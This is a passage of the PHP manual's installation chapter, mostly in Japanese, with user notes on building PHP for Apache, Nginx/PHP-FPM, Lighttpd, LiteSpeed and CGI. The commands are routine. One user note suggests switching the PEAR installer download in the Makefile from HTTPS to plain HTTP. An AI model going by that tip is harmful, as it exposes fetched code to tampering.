root# cd ..

root# gzcat aprutil-1.2.2.tar.gz |tar xvf -
root# cd apr-util-1.2.2/
root# ./configure --with-apr=/usr/local/apr/
root# make
root# make install

Install gawk-3.1.4, expat-1.95.5, db-4.2.52.NC,
gdbm-1.8.3, libgcc-3.3 and libxml2-2.6.16 packages
root# cd ..
root# pkgadd -d ./gawk-3.1.4-sol9-sparc-local
root# pkgadd -d ./expat-1.95.5-sol9-sparc-local
root# pkgadd -d ./db-4.2.52.NC-sol9-sparc-local
root# pkgadd -d ./gdbm-1.8.3-sol9-sparc-local
root# pkgadd -d ./libgcc-3.3-sol9-sparc-local
root# pkgadd -d ./libxml2-2.6.16-sol9-sparc-local

Install GNU make package
root# gzcat make-3.81.tar.gz |tar xvf -
root# cd make-3.81
root# ./configure
root# make
root# make install
root# cd ..

Install mysql-standard-5.0.22 package
Search for user mysql
root# grep mysql /etc/passwd
root# grep mysql /etc/group

If not found create user and group mysql
root# groupadd mysql
root# useradd -G mysql mysql
root# pkgadd -d ./mysql-standard-5.0.22-solaris9-sparc.pkg.gz

Install openssl-0.9.7g package
root# gzcat openssl-0.9.7g.tar.gz |tar xvf -
root# cd openssl-0.9.7g
root# ./config shared
root# make
root# make install
root# cd ..

Install Apache2 package
root# gzcat httpd-2.2.0.tar.gz |tar xvf -
root# cd httpd-2.2.0
root# ./configure --enable-so
root# /usr/local/bin/make
root# /usr/local/bin/make install
root# cd ..

Install php-5.1.4 package
root# gzcat php-5.1.4.tar.gz |tar xvf -
root# cd php-5.1.4
root# ./configure --with-apxs2=/usr/local/apache2/bin/apxs\
--with-ldap --with-mysql=/opt/mysql/mysql/
root# /usr/local/bin/make
root# /usr/local/bin/make install
root# cp php.ini-dist /usr/local/lib/php.ini

Edit httpd.conf to load the PHP module
and to parse certain extensions as PHP
root# vi /usr/local/apache2/conf/httpd.conf
LoadModule php5_module modules/libphp5.so
AddType application/x-httpd-php .php .phtml

Start Apache
root# /usr/local/apache2/bin/apachectl start

Add environmental variables below HTTPD
root# vi /usr/local/apache2/bin/apachectl
LD_LIBRARY_PATH=/usr/local/lib:/usr/local/lib/sparcv9/:
/usr/lib:/usr/openwin/lib:/opt/local/lib:/usr/local/ssl/lib:
/usr/local/apr/lib:/opt/mysql/mysql/lib
PATH=/bin:/sbin:/usr/ccs/bin:/usr/sbin:/usr/openwin/bin:\
/usr/ucb:/usr/local/bin/
export LD_LIBRARY_PATH PATH

Create Apache Startup Script
felixcca at yahoo dot ca 29-Mar-2006 06:13
I've (painfully) discovered that installing PHP5 with "make install" under SuSe 9.2 is NOT a good idea.
http://www.aditus.nu/jpgraph/apache2suse.php
This page explains how to install it without breaking everything that's php-related in the Apache2 configuration. Its first purpose, though, is to show how to have php 4 and 5 to cohabit properly.
frank@ethisoft 28-Sep-2005 02:30
Using Apache2 & PHP5 work perfectly fine & safe together.
- all core modules are safe in Zend Engine 2
- third-party-libraries should be avoided
- semaphores and shared memory enables you to ensure yourself that your application/website is thread-safe also with non-thread-safe PHP modules!
happyboy at php dot org 03-Aug-2005 04:30
FILE TRUNCATED!!

during the make process should u receive an error declaring ext/ctype/ctype.lo (or another file) is truncated then you need to 'make clean' prior to a healthy 'make' and 'make install.'

looking into your ext/ directory you may find the offensive file to be 1 byte long.
mihai dot sandu at gtstelecom dot ro 28-Feb-2005 05:22
For the SuSE9.2 install of PHP5.
First:
If building on a x64 platform, please set LDFLAGS="-L/usr/lib64" before configure.
As for install, it suffices to go to /etc/apache2 and:
ln -s sysconfig.d/loadmodule.conf httpd2-prefork.conf
and then make install
neil 10-Feb-2005 02:21
To install mysql and mysqli with PHP5 do the following:

after doing:

./configure --with-mysql=/path/to/mysql_config --with-mysqli=/path/to/mysql_config

do this:

"
    if you want to use both the old mysql and the new mysqli interface, load the Makefile into your editor and search for the line beginning with EXTRA_LIBS; it includes -lmysqlclient twice; remove the second instance
"

then you can:

make
make install

.....
Pleasse note: you must have mysql-dev installed (RPM or source) or you will not have the mysql_config file at all.  The standard, server, and client installations of MySQL do not include it.  I read somewhere that the mysql and mysqli paths must be identical.

Quoted from Michael Kofler at the following link:
http://www.kofler.cc/forum/forumthread.php?rootID=3571
Dan Scott (dan dot scott at acm dot org) 19-Jan-2005 08:36
Building PHP 5.x with Apache2 on SuSE Professional 9.1/9.2

SuSE uses a rather fragmented set of Apache configuration files stored in /etc/apache2/. When you configure PHP 5.x with:

$ ./configure --with-apxs2=/usr/sbin/apxs2
$ make

everything builds just fine; but when you issue:
$ su -c "make install"

the unconventional Apache conf file layout confuses the install-sapi section of the Makefile and the process halts with the following error:

apxs:Error: Config file /etc/apache2/httpd2-prefork.conf not found.
make: *** [install-sapi] Error 1

At this point only the PHP SAPI library has been copied into place; the rest of the files (like PEAR scripts, PHP-CLI, etc) have not been installed. But never fear! You can overcome this problem with the following steps:

1. Edit Makefile and change the following line to remove "install-sapi":
install_targets = install-sapi install-cli install-pear install-build install-headers install-programs

2. Issue the make install command again:
$ su -c "make install"

3. Add the PHP module & type instructions to the Apache configuration. As root, create a new file, /etc/apache2/conf.d/php5.conf that contains the following lines:

LoadModule php5_module /usr/lib/apache2/libphp5.so
AddType application/x-httpd-php php

--- And that's it. Everything else is just as the documentation suggests it should be.
praveen dot k at masconit dot com 15-Nov-2004 01:38
Hi too had same problem with multiview like when i execute http://huey/admin/test.php it used to compile but when i use http://huey/admin/test it wouldnt recognise it as php file... i worked it out with the addhandler method and AddType in different line and setting multiview for directive

"multiviews Options Indexes FollowSymLinks MultiViews"

the directives u can set it to root directory so now when u type pn test it will search in precendence for test.php, test.html if any .....

its working for me with apache2.0.47 and php 4.3.9 on solaris

praveen


Nginx 1.4.x (Unix システム用)

このドキュメントは、Nginx 1.4.x HTTPサーバ 向けに PHP を PHP-FPM とともにインストールし、設定する方法を示します。

このガイドは、あなたが Nginx をソースコードからビルドしたことを想定しています。 よって、すべてのバイナリと設定は /usr/local/nginx にあると想定しています。 仮にこれに当てはまらず、Nginx を他の手段で取得した場合は、 » Nginx Wiki を参照し、 このマニュアルをあなたのセットアップに読み替えてください。

このガイドは、Nginx サーバが PHP アプリケーションを実行できるように設定し、 それを port 80 で公開するための基本的な設定を示します。 あなたのセットアップを最適化したい場合、Nginx と PHP-FPM のドキュメント を調べることを推奨します。セットアップの最適化は、このガイドの範囲外です。

このドキュメント全体を通して、バージョン番号は ドキュメント全体が将来でも正しく保たれるようにするため、 'x' で置き換えられている点に注意してください。 'x' については、必要に応じて対応するバージョン番号に置き換えるようにしてください。

  1. あなたのシステム向けに Nginx を取得し、インストールするために、 Nginx Wiki の » install を参照することを推奨します。

  2. PHP のソースコードを取得し、展開します。

    tar zxf php-x.x.x

  3. PHP を configure し、ビルドします。 ここで PHP を様々なオプションを使ってカスタマイズできます。 たとえば、どの拡張機能を有効にするか、のようなものです。 利用できるオプションの一覧については、 ./configure --help を 参照してください。 私達の例では、PHP-FPM を MySQLi のサポートを有効にして シンプルに configure することにします。

    cd ../php-x.x.x
./configure --enable-fpm --with-mysqli
make
sudo make install

  4. 設定ファイルを取得し、正しい場所に移動します。

    cp php.ini-development /usr/local/php/php.ini
cp /usr/local/etc/php-fpm.d/www.conf.default /usr/local/etc/php-fpm.d/www.conf
cp sapi/fpm/php-fpm /usr/local/bin

  5. ファイルが存在しなかったときは、Nginx が PHP-FPM バックエンドに、 リクエストを渡さないようにし、任意のスクリプトの挿入を防げるようにすることが重要です。

    php.ini ファイルで、 cgi.fix_pathinfo ディレクティブを 0 に設定することで、 この設定を行うことができます。

    php.ini をエディタで読み込みます:

    vim /usr/local/php/php.ini

    cgi.fix_pathinfo= の行を探し、以下のように修正します:

    cgi.fix_pathinfo=0

  6. サービスを開始する前に、php-fpm が www-data ユーザーと www-data グループで 必ず実行されるように、php-fpm.conf も修正しなければいけません:

    vim /usr/local/etc/php-fpm.d/www.conf

    以下の部分を探し、修正します:

    ; Unix user/group of processes
; Note: The user is mandatory. If the group is not set, the default user's group
;       will be used.
user = www-data
group = www-data

    ここまで来れば、php-fpm サービスを開始できます:

    /usr/local/bin/php-fpm

    このガイドでは php-fpm をこれ以上設定しませんが、 php-fpm のさらなる設定に興味がある場合、ドキュメントを参照してください。

  7. Nginx が PHP アプリケーションの実行をサポートするように設定しなければなりません。

    vim /usr/local/nginx/conf/nginx.conf

    Nginx が、.php ファイルをサービスすることを認識させるため、 デフォルトの location ブロックを修正します:

    location / {
    root   html;
    index  index.php index.html index.htm;
}

    次のステップは、 .php ファイルへのリクエストが PHP-FPM バックエンドに渡されるようにすることです。 コメントアウトされているデフォルトの PHP location ブロックを 以下のように修正します:

    location ~* \.php$ {
    fastcgi_index   index.php;
    fastcgi_pass    127.0.0.1:9000;
    include         fastcgi_params;
    fastcgi_param   SCRIPT_FILENAME    $document_root$fastcgi_script_name;
    fastcgi_param   SCRIPT_NAME        $fastcgi_script_name;
}

    Nginx を再起動します。

    sudo /usr/local/nginx/sbin/nginx -s stop
sudo /usr/local/nginx/sbin/nginx

  8. テスト用のファイルを作成します。

    rm /usr/local/nginx/html/index.html
echo "<?php phpinfo(); ?>" >> /usr/local/nginx/html/index.php

    http://localhost にアクセスすれば、 phpinfo() が表示されるはずです。

上のステップに従うことで、 FPM SAPI モジュールとして PHP をサポートした Nginx Web サーバを実行できるでしょう。 もちろん、さらに沢山の設定オプションが Nginx と PHP では利用可能です。 さらに多くの情報を得るには、対応するソースツリーで、 ./configure --help とタイプしてみてください。

User Contributed Notes

610010559 at qq dot com 21-Nov-2019 12:44
in linux system, if you want to add php-fpm service to system service;  it is easy to do that, because php offer the relate shell script:

after make and make install;enter the source code package sapi/fpm/init.d.php-fpm ; type the code in the linux system.
cp sapi/fpm/init.d.php-fpm  /etc/init.d/php-fpm

then you can use "php-fpm {start|stop|force-quit|restart|reload|status|configtest} "  command  to control your php-fpm program more convenient .
uanaoeng at outlook dot com 01-Feb-2019 08:56
When I run the following command to start the php-fpm:
/usr/local/bin/php-fpm

I got the following error information:
Unable to globalize '/usr/local/NONE/etc/php-fpm.d/*.conf' (ret=2) from /usr/local/etc/php-fpm.conf at line 143.

To fix this error, do:
change the string "include=NONE/etc/php-fpm.d/*.conf" to "include=etc/php-fpm.d/*.conf" in the file "/usr/local/etc/php-fpm.conf" with text editor.

After that, I try to start the php-fpm again and got error information again:
Nothing matches the include pattern '/usr/local/etc/php-fpm.d/*.conf' from /usr/local/etc/php-fpm.conf at line 143.

To fix this error, do:
cp /usr/local/etc/php-fpm.d/www.conf.default /usr/local/etc/php-fpm.d/www.conf
1097625354 at qq dot com 03-Dec-2018 08:31
cp php/php.ini-development        php/lib/php.ini
cp php/etc/php-fpm.conf.default       php/etc/php-fpm.conf
cp php/etc/php-fpm.d/www.conf.default     php/etc/php-fpm.d/www.conf
sp at rysmax dot com 06-Mar-2018 09:10
Translate errors:

Теперь перейдите в http://localhsot
Теперь перейдите в http://localhost

В этом разделе описивыется
В этом разделе описывается

запрещаем Nginx от отправлять
запрещаем Nginx отправлять
Lenny 21-Feb-2016 02:40
Building from source is not easy if something is a bit different, and I had a hard time with some directory and configuration options. I was floundering around the web until I found this site that translated from Chinese. No one else had the solution.  I couldn't get php fpm to start until I changed the directory (Item 2.ERROR: Unable to globalize). I had other issues listed but I was able to solve them. Please don't delete this, it is very useful info.

The original site  (it is in Chinese, not my site, but I want to give credit):

(there is some more there, you can goto the site)

blog.dream1987.top/?paged=2

Installation problems:

1. configure: error:. Xml2-config not found Please check your libxml2 installation.

solution:

apt-get install libxml2-dev

2.Warning: Declaration of PEAR_Installer :: download () should be compatible with & PEAR_Downloader :: download ($ params) in phar: ///root/php-7.0.0alpha1/pear/install-pear-nozlib.phar/PEAR /Installer.php on line 43

Warning: Declaration of PEAR_PackageFile_Parser_v2 :: parse () should be compatible with PEAR_XMLParser :: parse ($ data) in phar: ///root/php-7.0.0alpha1/pear/install-pear-nozlib.phar/PEAR/PackageFile/ Parser / v2.php on line 113
[PEAR] Archive_Tar - already installed: 1.3.13
[PEAR] Console_Getopt - already installed: 1.3.1
[PEAR] Structures_Graph- already installed: 1.0.4

Warning: Declaration of PEAR_Task_Replace :: init () should be compatible with PEAR_Task_Common :: init ($ xml, $ fileAttributes, $ lastVersion) in phar: ///root/php-7.0.0alpha1/pear/install-pear-nozlib. phar / PEAR / Task / Replace.php on line 31
[PEAR] XML_Util - already installed: 1.2.3

Warning: Declaration of PEAR_Task_Windowseol :: init () should be compatible with PEAR_Task_Common :: init ($ xml, $ fileAttributes, $ lastVersion) in phar: ///root/php-7.0.0alpha1/pear/install-pear-nozlib. phar / PEAR / Task / Windowseol.php on line 76

Warning: Declaration of PEAR_Task_Unixeol :: init () should be compatible with PEAR_Task_Common :: init ($ xml, $ fileAttributes, $ lastVersion) in phar: ///root/php-7.0.0alpha1/pear/install-pear-nozlib. phar / PEAR / Task / Unixeol.php on line 76
[PEAR] PEAR - already installed: 1.9.5

solution:

Workaround not found (http://pear.php.net/bugs/bug.php?id=20554)

3. Start php-fpm

1.ERROR: failed to open configuration file '/usr/local/etc/php-fpm.conf': No such file or directory (2)
ERROR: failed to load configuration file '/usr/local/etc/php-fpm.conf'
ERROR: FPM initialization failed

solution:

Php-fpm.conf copy files from the source file to that location.

cp /root/php-7.0.0alpha1/sapi/fpm/php-fpm.conf /usr/local/etc/php-fpm.conf

2.ERROR: Unable to globalize '/usr/local/NONE/etc/php-fpm.d/*.conf' (ret = 2) from /usr/local/etc/php-fpm.conf at line 125.
ERROR: failed to load configuration file '/usr/local/etc/php-fpm.conf'
ERROR: FPM initialization failed

solution:

Edit /usr/local/etc/php-fpm.conf document introduced * .conf part, change to the correct path include = / usr / local / etc / php-fpm.d / *. Conf

If there is no /usr/local/etc/php-fpm.d directory, create the directory.

3.WARNING: Nothing matches the include pattern '/usr/local/etc/php-fpm.d/*.conf' from /usr/local/etc/php-fpm.conf at line 125.
ERROR:. No pool defined at least one pool section must be specified in config file
ERROR: failed to post process the configuration
ERROR: FPM initialization failed

solution:

cp www.conf.default www.conf

4.ERROR: [pool www] can not get gid for group 'nobody'
ERROR: FPM initialization failed

solution:

Www.conf open files, user and group users into nginx default settings, usually the default is www-data.
Akash Kumar Sharma 20-Dec-2015 08:48
If you get "File not found" error then add "root ROOT_DIR_LOCATION" directive to PHP location block i.e. "location ~* \.php$ { }" , where ROOT_DIR_LOCATION is root directory like "/usr/share/nginx/html" .
nguyentienlong88 at gmail dot com 03-Dec-2015 03:22
at step 3, after command "sudo make install"
if there is problem with pear.php.net (https). Need to change this line (from https to http) in Makefile
PEAR_INSTALLER_URL = http://pear.php.net/install-pear-nozlib.phar
nguyentienlong88 at gmail dot com 02-Dec-2015 07:38
at step 3, if there is no configure script yet, you need to rebuiding configure script using this command:

./buildconf --force


Lighttpd 1.4 (Unix システム用)

ここでは、Unix システム上の Lighttpd 1.4 で PHP を使用する際の注意点とヒントをまとめます。

まず » Lighttpd trac で Lighttpd のインストール方法をよく読んでからこれ以降に進みましょう。

PHP と Lighttpd を組み合わせる際におすすめの SAPI は fastcgi です。 fastcgi は PHP 5.3 以降の php-cgi では自動的に有効になりますが、 それより前のバージョンの場合は php の configure 時に --enable-fastcgi を指定しなければなりません。 PHP で fastcgi が有効になっているかどうかを調べるには、 php -v の結果が PHP 5.2.5 (cgi-fcgi) のようになっているかどうかを確認します。 PHP 5.2.3 以前の場合は、(php-cgi ではなく) php バイナリで fastcgi が使えるようになります。

Lighttpd に php プロセスを起動させる

Lighttpd から php に接続して fastcgi プロセスを立ち上げさせるよう設定するには、 lighttpd.conf を編集します。ローカルシステムの fastcgi プロセスに接続するにはソケットの使用をおすすめします。

例1 lighttpd.conf の抜粋

server.modules += ( "mod_fastcgi" )

fastcgi.server = ( ".php" =>
  ((
    "socket" => "/tmp/php.socket",
    "bin-path" => "/usr/local/bin/php-cgi",
    "bin-environment" => (
      "PHP_FCGI_CHILDREN" => "16",
      "PHP_FCGI_MAX_REQUESTS" => "10000"
    ),
    "min-procs" => 1,
    "max-procs" => 1,
    "idle-timeout" => 20
  ))
)

bin-path ディレクティブにより、lighttpd が fastcgi プロセスを動的に起動できるようになります。 PHP は、環境変数 PHP_FCGI_CHILDREN の内容に応じて子プロセスを起動します。 "bin-environment" ディレクティブは、起動するプロセスの環境を設定します。 リクエストの数が PHP_FCGI_MAX_REQUESTS の値に達すると、 PHP は子プロセスを kill します。ディレクティブ "min-procs" および "max-procs" は、PHP での使用は避けるべきです。 PHP は自身の子プロセスを自前で管理しますし、 APC のような opcode キャッシュは PHP が管理する子プロセスしか共有しません。 "min-procs" を 1 より大きい値に設定すると、 PHP レスポンダの数が PHP_FCGI_CHILDREN にその値をかけたものとなります (2 min-procs * 16 子プロセスで 32 のレスポンダとなります)。

spawn-fcgi での起動

Lighttpd には spawn-fcgi というプログラムが含まれており、 fastcgi プロセスの起動を簡単に行えるようになっています。

php-cgi の起動

spawn-fcgi なしでプロセスを起動することもできますが、多少難易度が上がります。 環境変数 PHP_FCGI_CHILDREN で、PHP がリクエストの処理用に起動する子の数を設定します。 PHP_FCGI_MAX_REQUESTS は、各子プロセスの生存期間 (リクエスト数) を設定します。php レスポンダを起動するシンプルな bash スクリプトの例を以下に示します。

例2 FastCGI レスポンダの起動

#!/bin/sh

# php-cgi バイナリの場所
PHP=/usr/local/bin/php-cgi

# PID ファイルの場所
PHP_PID=/tmp/php.pid

# アドレスへのバインド
#FCGI_BIND_ADDRESS=10.0.1.1:10000
# ドメインソケットへのバインド
FCGI_BIND_ADDRESS=/tmp/php.sock

PHP_FCGI_CHILDREN=16
PHP_FCGI_MAX_REQUESTS=10000

env -i PHP_FCGI_CHILDREN=$PHP_FCGI_CHILDREN \
       PHP_FCGI_MAX_REQUESTS=$PHP_FCGI_MAX_REQUESTS \
       $PHP -b $FCGI_BIND_ADDRESS &

echo $! > "$PHP_PID"

リモートの FCGI インスタンスへの接続

fastcgi インスタンスを複数のリモートマシンで起動して、 アプリケーションの規模を拡大することができます。

例3 リモートの php-fastcgi インスタンスへの接続

fastcgi.server = ( ".php" =>
   (( "host" => "10.0.0.2", "port" => 1030 ),
    ( "host" => "10.0.0.3", "port" => 1030 ))
)

User Contributed Notes

pittss at gmail dot com 10-Aug-2011 04:53
You can custom php.ini just  add environment PHPRC in your virtualhost.

    fastcgi.server    = ( ".php" => ((
        "bin-path" => "/usr/bin/php-cgi",
        "socket" => "/tmp/php.socket",
        "bin-environment" => (
            "PHP_FCGI_CHILDREN" => "3",
            "PHP_FCGI_MAX_REQUESTS" => "1000",
            "PHPRC" => "/usr/www/vhost1/php.ini"
        ),
        "bin-copy-environment" => (
            "PATH", "SHELL", "USER"
        ),
        "broken-scriptfilename" => "enable"
    )))
Ant P. 10-Jun-2010 07:09
If PHP_FCGI_MAX_REQUESTS isn't given, the default value is 500.
askroot at gmail dot com 07-Apr-2009 02:32
<-- Start -->
#!/bin/bash

/usr/bin/spawn-fcgi \
    -s /var/run/lighttpd/php-fastcgi-kr.php.net.socket \
    -f "/usr/bin/php-cgi -c /etc/php-kr.php.net.ini" \
    -u lighttpd \
    -g lighttpd \
    -C 4 \
    -P /var/run/spawn-fcgi-kr.php.net.pid \
    -F 12
<--  End -->

lighttpd 1.5 - Config
<-- Start -->
$HTTP["host"] =~ "^(www.)?kr.php.net" {
    server.document-root = "/home/kr.php.net"
    accesslog.filename = "/var/log/lighttpd/kr.php.net-access_log"
    index-file.names = ( "index.php", "index.html", "index.htm" )
    url.access-deny = ( "~", ".inc", ".htaccess" )
    server.error-handler-404 = "/error.php"
    alias.url = (
        "/FAQ.php" => "/home/kr.php.net/manual/kr/faq.php",
        "/stats" => "/home/kr.php.net-stats"
    )
    setenv.add-environment = (
        "MIRROR_LANGUAGE" => "kr",
        "MIRROR_STATS" => "1"
    )
    $HTTP["url"] =~ "\.php$" {
        proxy-core.balancer = "round-robin"
        proxy-core.allow-x-sendfile = "enable"
        proxy-core.protocol = "fastcgi"
        proxy-core.backends = ( "unix:/var/run/lighttpd/php-fastcgi-kr.php.net.socket" )
        proxy-core.max-pool-size = 16
    }
}
<-- End -->


LiteSpeed/OpenLiteSpeed Webサーバ(Unixシステム用)

LiteSpeed PHP は、LiteSpeed SAPI を通じて LiteSpeed プロダクトと動作させるための 最適化された PHP ビルドです。 LSPHP は、自分自身がプロセスとして動き、スタンドアロンなバイナリを持ちます。 よって、PHP スクリプトをコマンドラインから実行するための シンプルなコマンドラインバイナリとして使うことができます。

LSAPI は LiteSpeed と サードパーティーの Webエンジンの間で通信できる 高度に最適化された API です。 そのプロトコルは FCGI に似ていますが、それよりもっと効率的です。

このドキュメントは、 LiteSpeed/OpenLiteSpeed Webサーバのために、PHP を LSAPI とともに インストールし、設定する方法を示します。

このガイドは、LSWS または OLS が それぞれのデフォルトの path とフラグを使ってインストールされていると想定しています。 それぞれの Webサーバのデフォルトのインストールディレクトリは /usr/local/lsws であり、 bin サブディレクトリから実行できます。

このドキュメント全体を通して、バージョン番号は ドキュメント全体が将来でも正しく保たれるようにするため、 'x' で置き換えられている点に注意してください。 'x' については、必要に応じて対応するバージョン番号に置き換えるようにしてください。

  1. LiteSpeed//OpenLiteSpeed Web サーバを取得し、インストールするには、 LiteSpeed Web サーバの wiki » install page または OpenLiteSpeed wiki » install page. を参照してください。

  2. PHP のソースコードを取得し、展開します:

    mkdir /home/php
cd /home/php
wget http://us1.php.net/get/php-x.x.x.tar.gz/from/this/mirror
tar -zxvf php-x.x.x.tar.gz
cd php-x.x.x

  3. PHP を configure し、ビルドします。 ここで PHP を様々なオプションを使ってカスタマイズできます。 たとえば、どの拡張機能を有効にするか、のようなものです。 利用できるオプションの一覧については、 ./configure --help を 参照してください。 私達の例では、LiteSpeed Webサーバで推奨されているデフォルトの設定オプションを使うことにします:

    ./configure ... '--with-litespeed'
make
sudo make install

  4. LSPHP のインストールをチェックします。

    PHP のインストールが成功したかをチェックする一番簡単な方法は、次のコードを実行することです:

    cd /usr/local/lsws/fcgi-bin/
./lsphp5 -v

    このコードは、新しい PHP ビルドについての情報を返すはずです:

    PHP 5.6.17 (litespeed) (built: Mar 22 2016 11:34:19)
Copyright (c) 1997-2014 The PHP Group
Zend Engine v2.6.0, Copyright (c) 1998-2015 Zend Technologies

    litespeed が括弧で囲まれていることに注意してください。これは、PHP が LSAPI サポートを有効にしてビルドされていることを意味しています。

上のステップに従えば、 LiteSpeed / OpenLiteSpeed Webサーバが SAPI 拡張としての PHP サポートを有効にした状態で実行できるようになっているはずです。 LSWS / OLS と PHP で利用可能なせっていおぷしょんはもっとたくさんあります。 さらに詳しい情報は、 LiteSpeed wiki の » PHP のページを参照してください。

LSPHP をコマンドラインから使う:

LSPHP(LSAPI + PHP) コマンドラインモードは、 必ずしも Web サーバが実行されていないリモートサーバ上で PHPスクリプトを実行するために使います。 (別にある)ローカルの Webサーバのそばで、 PHPスクリプトを実行するために使われます。 PHP の実行がリモートサーバにオフロードされるので、 このセットアップはサービスのスケールさせる目的にも合っています。

リモートサーバ上でのコマンドラインから lsphp を起動します: LSPHP は実行可能であり、-b socket_address オプションを使えば、 IPv4/IPv6/Unixドメインソケットアドレスに bindした状態で手動で起動できます。

例:

LSPHP を 全 IPv4, IPv6 アドレスのポート3000にbindさせる:

/path/to/lsphp -b [::]:3000

LSPHP を 全 IPv4 アドレスのポート3000にbindさせる:

/path/to/lsphp -b *:3000

LSPHP を 192.168.0.2:3000 にbindさせる:

/path/to/lsphp -b 192.168.0.2:3000

LSPHP に、Unixドメインソケット /tmp/lsphp_manual.sock でリクエストを受けさせる:

/path/to/lsphp -b /tmp/lsphp_manual.sock

LSPHP を実行する前に、環境変数を追加できます:

PHP_LSAPI_MAX_REQUESTS=500 PHP_LSAPI_CHILDREN=35 /path/to/lsphp -b IP_address:port

LiteSpeed PHP は、 LiteSpeed/OpenLiteSpeed Web サーバ、 および Apache の mod_lsapi とともに使えます。 サーバサイドの設定のさらなるステップについては、 wiki ページ » LiteSpeed Webサーバ および » OpenLiteSpeed を参照してください。

LSPHP は、複数の他の方法でもインストールできます

CentOS: CentOS では、LSPHP は LiteSpeed リポジトリ または Remi リポジトリ から、 » RPM を使ってインストールできます。

Debian: Debian では、LSPHP は LiteSpeed リポジトを経由で、 » apt を使ってインストールできます。

cPanel: CPanel と EashApache 4 を使って、LSWS/OLS と CPanel とともに LSPHP をインストールする方法については、 それぞれの » wiki ページ を参照してください。

Plesk: Plesk は、CentOS, CloudLinux, Debian, および Ubuntu 上の LSPHP ともに利用できます。 これに関するさらなる情報は、 それぞれの » wiki ページ を参照してください。

User Contributed Notes

There are no user contributed notes for this page.


CGI およびコマンドライン

デフォルトでは、PHP は CLI および CGI プログラムとしてビルドされます。 これを使って CGI の処理を行うことができます。 PHP 側で対応するモジュールを用意しているウェブサーバーで実行するときには、 モジュールを使うほうがパフォーマンス面で有利です。 しかし、CGI 版にも利点があります。 PHP を含むページを別のユーザー ID で実行することができるということです。

警告

CGI モードで公開したサーバーは、いくつかの脆弱性の標的となる可能性があります。 これらの攻撃からサーバーを守る方法については、 CGI セキュリティ のセクションを参照してください。

テスト

PHP を CGI 版のプログラムとしてビルドした場合、make test とすることで、ビルドされたバイナリをテストすることが 可能です。常にビルド後のテストを行うことが推奨されます。これにより、 使用するプラットホームにおける PHP の問題を早期に見付けることが可能となり、 後になってその問題に苦しむことがなくなるでしょう。

環境変数の使用

いくつかのサーバーが提供する環境変数 は、現在の » CGI/1.1 規約 において定義されていません。以下の変数だけがこの規約で定義されています。 AUTH_TYPE, CONTENT_LENGTH, CONTENT_TYPE, GATEWAY_INTERFACE, PATH_INFO, PATH_TRANSLATED, QUERY_STRING, REMOTE_ADDR, REMOTE_HOST, REMOTE_IDENT, REMOTE_USER, REQUEST_METHOD, SCRIPT_NAME, SERVER_NAME, SERVER_PORT, SERVER_PROTOCOL, および SERVER_SOFTWARE 。 その他の環境変数は、「ベンダー拡張」として取り扱うべきです。

User Contributed Notes

vinay_sajip at yahoo dot co dot uk 16-Apr-2020 10:33
If building from source on Ubuntu, you may need to "apt install libonig-dev" for the Oniguruma regular expression library. Otherwise, the "configure" script doesn't complete.
gordon_e_rouse at yahoo dot com dot au 28-Feb-2008 12:25
Have noticed on debian now, and may be true of other builds, that if you are using php as a command line language, you don't need the -q ie: #!/usr/bin/php -q anymore.

What really took me ages to work out was how to the use php in cgi mode (ie in a cgi-bin directory) as it doesn't send http headers by default. It also fails to populate $_GET and $_POST arrays.

Turns out debian php build comes with /usr/bin/php-cgi

Use this in your shebang if running CGI scripts!

ie:

#!/usr/bin/php-cgi

I understand now - but had to figure this out myself!

Keywords I tried to solve this problem with were:

PHP, CGI, no $_GET array, Premature end of script headers, No http Headers, debian

Hopefully this post might save someone many hours of frustration, if they are googling the above words!
info at ch2o dot info 17-Jun-2005 07:59
additionnal information to fastcgi...

the compilation of fastcgi library is not nessesary, php include a modified version of this library,
and fastcgi module have this own implementation of the protocole fastcgi...

on the first server (where apache are!) the uid and gid of apache instance of the fastcgi module
must be the same on the php file to execute...
without that they dont work...
the module refuse to send the request to the fastcgi php server...
info at ch2o dot info 13-Jun-2005 10:59
for using fastcgi external server in place of cgi or mod php with php:

to compile fastcgi librairie:

  wget http://www.fastcgi.com/dist/fcgi-2.4.0.tar.gz
  tar xzvf fcgi-2.4.0.tar.gz
  cd fcgi-2.4.0
  ./configure
  make
  gmake install

to compile the fastcgi apache module:

  wget http://www.fastcgi.com/dist/mod_fastcgi-2.4.2.tar.gz
  tar xvzf mod_fastcgi-2.4.2.tar.gz
  cd mod_fastcgi-2.4.2
  path/to/apache/bin/apxs -i -A -n fastcgi -o mod_fastcgi.la -c *.c

after you must modify the http.conf to add that:

  # load fcgi module
  LoadModule fastcgi_module      modules/mod_fastcgi.so

  # authorization to execute fcgi  on tree "/fcgi-bin/"
  <Location /fcgi-bin/>
      Options ExecCGI
      SetHandler fastcgi-script
  </Location>

  # define fastcgi external serveur for virtual path "/fcgi-bin/phpfcgi" to execute on targetmachinehost with targetport
  FastCgiExternalServer /fcgi-bin/phpfcgi -host targetmachinehostname:targetport

  # mime type definietion for some extention
  AddType application/x-httpd-fastphp .php .cphp .php4

  #define apache cgi regirection with the virtual action script /fcgi-bin/phpfcgi associated with the defined mime type.
  Action application/x-httpd-fastphp /fcgi-bin/phpfcgi

start apache.

compile php with --enable-cgi  and --enable-fastcgi=/to/lib/fastcgi

start on target machine php with "php -b ip:port" for ear request from mod_fastcgi.

some aditional thing are in sapi/cgi/README.FastCGI of php src tree.

the document root of the apache machine must be synchronous with the php target machine... with the same tree...

and with that solution you can mixe php5 and php4 with different extention of apache directory limitation to one or another version...

with performance like mod_php!
kptrs at yahoo dot com 06-Jun-2004 04:37
Dug out from the discussion at the site below is a good tip: if you are working with an existing PHP installation which did not build either the commandline or CGI servers, you can use the lynx non-graphical web browser to get the web server to execute php scripts from the command line (or cron jobs, etc):

lynx -dump http://whatever

>If you wish to use PHP as a scripting language, a good article to read is >http://www.phpbuilder.com/columns/darrell20000319.php3

>note that the article is aimed at *nix not win32, but most of it still applies
phil at philkern dot de 03-Jan-2003 10:40
Thanks nordkyn, this one was very helpful.
Please note that the kernel has to be compiled with misc binary support, which is activated on most distributions like Debian.
You would have to please these two lines in a script to run it after every reboot, on debian I propose /etc/init.d/bootmisc.sh
You could place this lines at the end but before : exit 0
---
# Install PHP as binary handler

mount -t binfmt_misc none /proc/sys/fs/binfmt_misc
echo ":PHP:E::php::/usr/bin/php4:" > /proc/sys/fs/binfmt_misc/register
---
And please remember that the package management would override the file on the next distribution upgrade :)
cv at corbach dot de 20-Feb-2002 08:18
Up to and including 4.1.1 you have to set doc_root to an non empty value if you configure PHP for CGI usage with --enable-discard-path.


HP-UX へのインストール

